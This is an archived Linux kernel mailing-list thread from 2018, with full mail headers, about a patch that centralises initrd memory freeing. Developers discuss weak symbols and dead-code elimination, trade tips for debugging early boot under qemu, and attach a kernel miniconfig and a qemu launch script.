> > > >> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> > > >> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> > > >> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> > > >> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
> > > >> >> >>> Now only those architectures that have custom initrd free requirements
> > > >> >> >>> need to define free_initrd_mem.
> > > >> >> >> ...
> > > >> >> >>> --- a/arch/arc/mm/init.c
> > > >> >> >>> +++ b/arch/arc/mm/init.c
> > > >> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> > > >> >> >>>  {
> > > >> >> >>>   free_initmem_default(-1);
> > > >> >> >>>  }
> > > >> >> >>> -
> > > >> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> > > >> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> > > >> >> >>> -{
> > > >> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
> > > >> >> >>> -}
> > > >> >> >>> -#endif
> > > >> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> > > >> >> >>> index 3f972e83909b..19d1c5594e2d 100644
> > > >> >> >>> --- a/arch/arm/Kconfig
> > > >> >> >>> +++ b/arch/arm/Kconfig
> > > >> >> >>> @@ -47,6 +47,7 @@ config ARM
> > > >> >> >>>   select HARDIRQS_SW_RESEND
> > > >> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> > > >> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> > > >> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
> > > >> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> > > >> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> > > >> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
> > > >> >> >>
> > > >> >> >> Isn't this why weak symbols were invented?
> > > >> >> >
> > > >> >> > Weak symbols means that we end up with both the weakly-referenced code
> > > >> >> > and the arch code in the kernel image.  That's fine if the weak code
> > > >> >> > is small.
> > > >> >>
> > > >> >> The kernel's been able to build with link time garbage collection since 2016:
> > > >> >>
> > > >> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> > > >> >>
> > > >> >> Wouldn't that remove the unused one?
> > > >> >
> > > >> > Probably, if anyone bothered to use that, which they don't.
> > > >> >
> > > >> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> > > >> > what I can see, nothing selects it.  Therefore, the symbol is always
> > > >> > disabled, and so the feature never gets used in mainline kernels.
> > > >> >
> > > >> > Brings up the obvious question - why is it there if it's completely
> > > >> > unused?  (Maybe to cause confusion, and allowing a justification
> > > >> > for __weak ?)
> > > >>
> > > >> IIRC Nick had some patches to do the arch enablement for powerpc, but
> > > >> I'm not sure what happened to them though. I suspect it just fell down
> > > >> Nick's ever growing TODO list.
> > > >
> > > > I've given it a go on ARM, marking every linker-built table with KEEP()
> > > > and comparing the System.map files.  The resulting kernel is around
> > > > 150k smaller, which seems good.
> > > >
> > > > However, it doesn't boot - and I don't know why.  Booting the kernel
> > > > under kvmtool in a VM using virtio-console, I can find no way to get
> > > > any kernel messages out of it.  Using lkvm debug, I can see that the
> > > > PC is stuck inside die(), and that's the only information I have.
> > > > It dies before bringing up the other CPUs, so it's a very early death.
> > > >
> > > > I don't think other console types are available under ARM64.
> > > 
> > > earlycon?
> > 
> > Through what - as I say above, I think the only thing that's present is
> > virtio-console, and the virtio stack only get initialised much later in
> > boot.
> > 
> > Eg, there's the memory-based virtio driver which interfaces any virtio
> > driver to a memory-based ring structures for communication with the host
> > (drivers/virtio/virtio_mmio.c) which is initialised at module_init()
> > time, and so isn't available for earlycon.
> > 
> > I don't think merely changing the module_init() calls in the appropriate
> > virtio bits will suffice - it's why I pointed out that it dies before
> > SMP initialisation, which also means that it dies before we start
> > running the initcalls for subsystems and drivers.
> > 
> > I'm not aware of there being an emulated UART in the guest's address
> > space, so serial based stuff doesn't work.
> 
> "earlycon=uart,mmio,0x3f8" is what you're looking for:

Does that also mean that we have a RTC at the standard PC IO addresses
as well, but in mmio space?

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 12:43:05 -0500
Lines: 132
Approved: news@gmane.org
Message-ID: <1ec5d19a-d649-38bd-ab89-868e1ad9dd7f@landley.net>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------292EE39B94C5DBED4CD25C9B"
X-Trace: blaine.gmane.org 1522345309 15108 195.159.176.226 (29 Mar 2018 17:41:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 17:41:49 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, linux-cris-kernel@axis.com,
 Greg Kroah-Hartman <gregkh@linuxfou
To: Russell King - ARM Linux <linux@armlinux.org.uk>, Oliver <oohall@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 19:41:35 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1bYN-0003hg-1g
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 19:41:35 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Content-Type:
	In-Reply-To:MIME-Version:Date:Message-ID:From:References:To:Subject:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=ygfLoaboICzDZcJFn5AHYjJipozuMe5fONsOZjyXfH8=; b=b6Q1ZQqLiLjHMS/4ZJtO0qf4w
	dHGlcFgiSKOqcLMiPMQ/lBmWVQ9COTNsU92DLheM02LFpNsBuZ9jq4kRrWAmfL83HWq5dge5ZTwkr
	ibKQ5bfBYTDQ3WMZDg0pbKVzNZ80VtVjI0ZrvFYSVoNKbA7t32fmD/7StNy3EnoM8LfyuXM5s0jv3
	keLbUxvhvRjUO4WFAZw5BIBz0O1wvrfcNyJHuEsWALVZQstT0XvMJrRIG+YbzqdtNryuYUCcuZqcS
	faRWlHDQ1z94GmDtwc6yVFmjfzZ9112z3rJMaA37PIyZcdub8T7aYtLAZh3BaFLkFxaCI+03cd7HU
	0amFPsLhQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1baQ-0003rO-5o; Thu, 29 Mar 2018 17:43:42 +0000
Original-Received: from mail-it0-x242.google.com ([2607:f8b0:4001:c0b::242])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1baM-0003pP-Ed
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 17:43:40 +0000
Original-Received: by mail-it0-x242.google.com with SMTP id j137-v6so9160284ita.1
 for <linux-snps-arc@lists.infradead.org>; Thu, 29 Mar 2018 10:43:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=landley-net.20150623.gappssmtp.com; s=20150623;
 h=subject:to:cc:references:from:message-id:date:user-agent
 :mime-version:in-reply-to:content-language;
 bh=XYm81nFVNoG1ewXl1m2LzOEska8lq95mNWr4Z6VDGjw=;
 b=y+2eclM0AHRnnlmmpWVA5ToVQmte8qRM89ggtql9WZKCHqnqaKFqqMLFzMkGrUYgRT
 8S0SqkqTcA+p/xztDo3y2kIE5oB7ne3+gRDULOkian9o6j/db2k9dInBXcbjxIit1Twc
 jxugdJVzyTUdv85ZTQaQvatnW66dHmkLaWQvMFplclRY1e8UgXMjgfIPvbC8JYJgQZEE
 v2QNbCdTd5lQSH/kQtXcGWyMty/0YNV3EKdxjWPe5idO0TTUbJLqkLgUdHmu/RC77VXO
 EPmWs1TmSOpVzWlOIOXzUDdssJorjEZkR9/bKuHZ33s/x6R850ADd3/SgEzwLF8vfdCh
 Aliw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-language;
 bh=XYm81nFVNoG1ewXl1m2LzOEska8lq95mNWr4Z6VDGjw=;
 b=cC+rtSfpjf6ARBnNJYZDQzF5TugcJH2+RGp17xVP2ztHsvJ+IpMHglM8ti3PM9OVvm
 uZO7pHFh14xAiB5jHkA5MaUO39hegStpT8tV7pczpyLirnRVYrGuok85GFhy2Dk8XCbu
 DHEs9mTuTB3Qw2B+sesFuazGZU77KD+EOwppOkImDwZ0c4/LvPDnQcQOLn+XP9MmK7kx
 /4pwf4D3nopoAWf4HP2bT7hVEs/IVi4vaxhTnYlGmaYHU1VKauMTdi3aOnTx2fuR6J/U
 sCgSCum2mS93Z4EP+i0OvoxCYVGbjqykJtEA75awS77jijus2oIdmhm9fukt6wrSplZx
 7Www==
X-Gm-Message-State: AElRT7Foi+irjWyCtMn3lqMF2Au2jLk2cJzjfmTMAlADGG+KmFHW+g8/
 rFg1HM/0Jl3LtYcotqqdH6uMNg==
X-Google-Smtp-Source: AIpwx4/D5SaqcquKgLTJ8OpYd7ecPwYJ1tFPpBRY8cAZncQQJ2qAvCNG1dYv0b2H4YTTwO11OMmunA==
X-Received: by 2002:a24:ddd0:: with SMTP id
 t199-v6mr8264852itf.122.1522345407473; 
 Thu, 29 Mar 2018 10:43:27 -0700 (PDT)
Original-Received: from [192.168.42.90] ([172.58.143.62])
 by smtp.googlemail.com with ESMTPSA id e71sm4144545iof.28.2018.03.29.10.43.07
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 29 Mar 2018 10:43:26 -0700 (PDT)
In-Reply-To: <20180329152749.GC16141@n2100.armlinux.org.uk>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_104338_507678_A834B36D 
X-CRM114-Status: GOOD (  24.22  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:242 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3712 gmane.linux.ports.mips.general:64300 gmane.linux.ports.sh.devel:56779 gmane.linux.kernel:2728821 gmane.linux.ports.ia64:28780 gmane.linux.ports.hexagon:1623 gmane.linux.kernel.metag:1748 gmane.linux.ports.arm.kernel:641728 gmane.linux.ports.parisc:28455 gmane.linux.ports.alpha:4911 gmane.linux.ports.sparc:27513 gmane.linux.uml.devel:16740 gmane.linux.uml.user:15416 gmane.linux.ports.ppc64.devel:155493
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3712>

This is a multi-part message in MIME format.
--------------292EE39B94C5DBED4CD25C9B
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

On 03/29/2018 10:27 AM, Russell King - ARM Linux wrote:
> On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
>> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
>>> LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
>>> what I can see, nothing selects it.  Therefore, the symbol is always
>>> disabled, and so the feature never gets used in mainline kernels.
>>>
>>> Brings up the obvious question - why is it there if it's completely
>>> unused?  (Maybe to cause confusion, and allowing a justification
>>> for __weak ?)
>>
>> IIRC Nick had some patches to do the arch enablement for powerpc, but
>> I'm not sure what happened to them though. I suspect it just fell down
>> Nick's ever growing TODO list.
> 
> I've given it a go on ARM, marking every linker-built table with KEEP()
> and comparing the System.map files.  The resulting kernel is around
> 150k smaller, which seems good.
> 
> However, it doesn't boot - and I don't know why.  Booting the kernel
> under kvmtool in a VM using virtio-console, I can find no way to get
> any kernel messages out of it.  Using lkvm debug, I can see that the
> PC is stuck inside die(), and that's the only information I have.

qemu-system-arm's "-s" option lets you hook to the hardware with gdb, as if
using one of those jtags that speaks gdbserver protocol. It stops waiting for
you to attach with 'target remote' it, then 'file vmlinux' to load the symbols...

The miniconfig and qemu invocation I use for arm64 are attached, tested with
2.11.0 on a 4.14 kernel. You should be able to just "qemu-aarch64.sh -s" and
then probably "target remote 127.0.0.1:1234"? (Been a while since I've used it,
don't have a cross-gdb for arm64 lying around...)

Sigh, I just tried -s and qemu 2.11.0 is _not_ waiting for gdb to attach on
arm64, despite what the docs say:

$ qemu-system-aarch64 --help | grep gdb
-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234

Another random regression in qemu, gee what a surprise.

> It dies before bringing up the other CPUs, so it's a very early death.
> 
> I don't think other console types are available under ARM64.

I've often found useful the two line version of:

https://balau82.wordpress.com/2010/02/28/hello-world-for-bare-metal-arm-using-qemu/

Which is generally some variant of:

{char *XX = "blah"; while (*XX) {while (*SERIAL_STATUS_REGISTER & OUT_READY);
*SERIAL_OUT = *XX++;}}

(I.E. balu cheated not spinning checking the ready-for-next-byte bit, because
qemu's always angry.)

That trick lets you cut and paste a print statement into all sorts of early
hardware nonsense, on most architectures. You just have to look up
SERIAL_STATUS_REGISTER, OUT_OK_BIT, and SERIAL_OUT values for the serial port du
jour.

That said I've mostly used it in things like u-boot. I dunno at what point the
kernel's done enough setup that direct banging on registers would stop working.
(Works in the decompresion code, anyway.) And it assumes the port's set to the
right speed (usually left there by the bootloader)...

Rob

--------------292EE39B94C5DBED4CD25C9B
Content-Type: text/plain; charset=UTF-8;
 name="aarch64.miniconf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="aarch64.miniconf"

IyBtYWtlIEFSQ0g9YXJtNjQgYWxsbm9jb25maWcgS0NPTkZJR19BTExDT05GSUc9YWFyY2g2
NC5taW5pY29uZgojIG1ha2UgQVJDSD1hcm02NCAtaiAkKG5wcm9jKQojIGJvb3QgYXJjaC9h
cm02NC9ib290L0ltYWdlCgoKQ09ORklHX01NVT15CkNPTkZJR19BUkNIX01VTFRJX1Y3PXkK
Q09ORklHX0FSQ0hfVklSVD15CkNPTkZJR19TT0NfRFJBN1hYPXkKQ09ORklHX0FSQ0hfT01B
UDJQTFVTX1RZUElDQUw9eQpDT05GSUdfQVJDSF9BTFBJTkU9eQpDT05GSUdfQVJNX1RIVU1C
PXkKQ09ORklHX1ZEU089eQpDT05GSUdfQ1BVX0lETEU9eQpDT05GSUdfQVJNX0NQVUlETEU9
eQpDT05GSUdfS0VSTkVMX01PREVfTkVPTj15CgpDT05GSUdfU0VSSUFMX0FNQkFfUEwwMTE9
eQpDT05GSUdfU0VSSUFMX0FNQkFfUEwwMTFfQ09OU09MRT15CgpDT05GSUdfUlRDX0NMQVNT
PXkKQ09ORklHX1JUQ19IQ1RPU1lTPXkKQ09ORklHX1JUQ19EUlZfUEwwMzE9eQoKQ09ORklH
X05FVF9DT1JFPXkKQ09ORklHX1ZJUlRJT19ORVQ9eQoKQ09ORklHX1BDST15CkNPTkZJR19Q
Q0lfSE9TVF9HRU5FUklDPXkKQ09ORklHX1ZJUlRJT19CTEs9eQpDT05GSUdfVklSVElPX1BD
ST15CkNPTkZJR19WSVJUSU9fTU1JTz15CgpDT05GSUdfQVRBPXkKQ09ORklHX0FUQV9TRkY9
eQpDT05GSUdfQVRBX0JNRE1BPXkKQ09ORklHX0FUQV9QSUlYPXkKCkNPTkZJR19QQVRBX1BM
QVRGT1JNPXkKQ09ORklHX1BBVEFfT0ZfUExBVEZPUk09eQpDT05GSUdfQVRBX0dFTkVSSUM9
eQoKCiMgQ09ORklHX0VNQkVEREVEIGlzIG5vdCBzZXQKQ09ORklHX0VBUkxZX1BSSU5USz15
CkNPTkZJR19CSU5GTVRfRUxGPXkKQ09ORklHX0JJTkZNVF9TQ1JJUFQ9eQpDT05GSUdfTk9f
SFo9eQpDT05GSUdfSElHSF9SRVNfVElNRVJTPXkKCkNPTkZJR19CTEtfREVWPXkKQ09ORklH
X0JMS19ERVZfSU5JVFJEPXkKQ09ORklHX1JEX0daSVA9eQoKQ09ORklHX0JMS19ERVZfTE9P
UD15CkNPTkZJR19FWFQ0X0ZTPXkKQ09ORklHX0VYVDRfVVNFX0ZPUl9FWFQyPXkKQ09ORklH
X1ZGQVRfRlM9eQpDT05GSUdfRkFUX0RFRkFVTFRfVVRGOD15CkNPTkZJR19NSVNDX0ZJTEVT
WVNURU1TPXkKQ09ORklHX1NRVUFTSEZTPXkKQ09ORklHX1NRVUFTSEZTX1hBVFRSPXkKQ09O
RklHX1NRVUFTSEZTX1pMSUI9eQpDT05GSUdfREVWVE1QRlM9eQpDT05GSUdfREVWVE1QRlNf
TU9VTlQ9eQpDT05GSUdfVE1QRlM9eQpDT05GSUdfVE1QRlNfUE9TSVhfQUNMPXkKCkNPTkZJ
R19ORVQ9eQpDT05GSUdfUEFDS0VUPXkKQ09ORklHX1VOSVg9eQpDT05GSUdfSU5FVD15CkNP
TkZJR19JUFY2PXkKQ09ORklHX05FVERFVklDRVM9eQojQ09ORklHX05FVF9DT1JFPXkKI0NP
TkZJR19ORVRDT05TT0xFPXkKQ09ORklHX0VUSEVSTkVUPXkKCg==
--------------292EE39B94C5DBED4CD25C9B
Content-Type: application/x-shellscript;
 name="qemu-aarch64.sh"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="qemu-aarch64.sh"

cWVtdS1zeXN0ZW0tYWFyY2g2NCAtcyAtTSB2aXJ0IC1jcHUgY29ydGV4LWE1NyAtbm9ncmFw
aGljIC1uby1yZWJvb3QgLW0gMjU2IC1hcHBlbmQgInBhbmljPTEgSE9TVD1hYXJjaDY0IGNv
bnNvbGU9dHR5QU1BMCIgLWtlcm5lbCBJbWFnZSAtaW5pdHJkIGFhcmNoNjQtbGludXgtbXVz
bGVhYmktcm9vdC5jcGlvLmd6ICIkQCIK
--------------292EE39B94C5DBED4CD25C9B
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--------------292EE39B94C5DBED4CD25C9B--



From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marc Zyngier <marc.zyngier@arm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 18:53:43 +0100
Organization: ARM Ltd
Lines: 23
Approved: news@gmane.org
Message-ID: <86y3iarcns.wl-marc.zyngier@arm.com>
References: <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
 <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
 <20180329155827.GD16141@n2100.armlinux.org.uk>
 <86zi2qrfgl.wl-marc.zyngier@arm.com>
 <20180329173247.GF16141@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI-EPG 1.14.7 - "Harue")
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522345950 27500 195.159.176.226 (29 Mar 2018 17:52:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 17:52:30 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI-EPG/1.14.7 (Harue)
 FLIM/1.14.9 (=?ISO-8859-4?Q?Goj=F2?=) APEL/10.8 EasyPG/1.0.0 Emacs/25.1
 (aarch64-unknown-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Vladimir Murzin <vladimir.murzin@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, Cris <linux-cris-ke
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 19:52:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1bii-0006u4-6z
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 19:52:16 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Subject:To:From:Message-ID:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=xMbH5c9wjwq47EndkDqWgG4OU66L8EgWJftulfvJwt4=; b=ZJmG2N798ss5lI
	p0CEKJX8GiieGRuGuQa8kQJZcQ/XeijGzkkCe7hffILSDvv8KUlfNy+ljoU9dzTCWrJeMfjNxA47v
	SixGFC1fhRjx9ZFsVjJOK4BEQsOT10lqmMYr2s4zAUlzd1WHDAKQC7lRdeisr28DndybckO9yagMm
	uWt+pQZ092H1YL7QZKW8pl6GSppAopvEyYHsFs6GdUV0NK6OfcMvVXNJqanBX4KaZIpVWcsalN/ka
	UMYFhle7g6OqoGnp7imeUabkh79+USvTz14VnYLR7T6lmIXAV5x1iP1MdcR8Ar5/yS1paH1RVtwDN
	P9Bk6l5pqGfhiGINBGWA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1bkk-00075P-Mu; Thu, 29 Mar 2018 17:54:22 +0000
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]
 helo=foss.arm.com)
 by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1bkh-00074K-3b; Thu, 29 Mar 2018 17:54:20 +0000
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 2483E15AB;
 Thu, 29 Mar 2018 10:54:08 -0700 (PDT)
Original-Received: from big-swifty.misterjones.org (usa-sjc-mx-foss1.foss.arm.com
 [217.140.101.70])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 6305D3F487;
 Thu, 29 Mar 2018 10:53:47 -0700 (PDT)
In-Reply-To: <20180329173247.GF16141@n2100.armlinux.org.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_105419_160343_674F7D83 
X-CRM114-Status: GOOD (  19.79  )
X-Spam-Score: -5.0 (-----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-5.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [217.140.101.70 listed in list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
